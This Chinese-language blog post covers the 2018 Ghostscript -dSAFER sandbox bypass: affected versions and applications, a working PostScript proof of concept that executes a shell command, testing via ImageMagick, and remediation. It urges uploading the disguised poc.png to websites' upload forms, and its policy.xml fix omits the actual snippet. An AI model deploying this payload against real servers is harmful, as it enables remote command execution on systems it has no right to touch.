1. 漏洞背景
8 月 21 号,Tavis Ormandy 通过公开邮件列表指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成命令执行。
ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。
在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,但该沙箱在程序执行过程中由LockSafetyParams这个值进行控制,此次Taviso发现通过restore操作会将该值成功覆盖,导致安全沙箱被绕过,引发命令执行漏洞。
2 漏洞影响
version <= 9.23(全版本、全平台)
官方未出缓解措施,最新版本受到影响。
漏洞导致所有引用ghostscript的上游应用收到影响。 常见应用如下:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf
。。。
3 漏洞说明
在经历过2016年魔图漏洞后,不少安全从业者就开始对ImageMagick 很是敏感。
其利用简单,危害程度之高也令不少人咋舌。
360的安全团队已经给了该漏洞具体的说明包括POC,详细见文章底部连接。
POC:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
将以上代码保存为图片文件,例如poc.png,然后找到Web站点的上传接口,直接上传就好了。
这里需要说明一下,文件不一定需要显示上传成功,如果目标站点存在该漏洞,POC会照样成功执行。
4 漏洞利用
这里拿受影响的ImageMagick 来测试。
centos6安装ImageMagick
yum install ImageMagick
简单的漏洞验证:
convert poc.png poc.gif
如果命令执行了则说明存在漏洞
5. 漏洞实战利用
这里就贴利用成功的几张图片吧
ceye.io平台
反弹shell
6. 漏洞修复
这里参考360给的修复建议吧
目前官方未给出缓解措施,建议卸载ghostscript。
使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 中加入以下 (即禁用 PS、EPS、PDF、XPS coders):
referrer:
https://cert.360.cn/warning/detail?id=154bd8345f9cd560ea1c0e5bf453a41d
https://d0n9.github.io/2018/08/22/ImageMagick%20%E6%BC%8F%E6%B4%9E%E5%87%91%E7%83%AD%E9%97%B9%E6%89%8B%E6%9C%AD/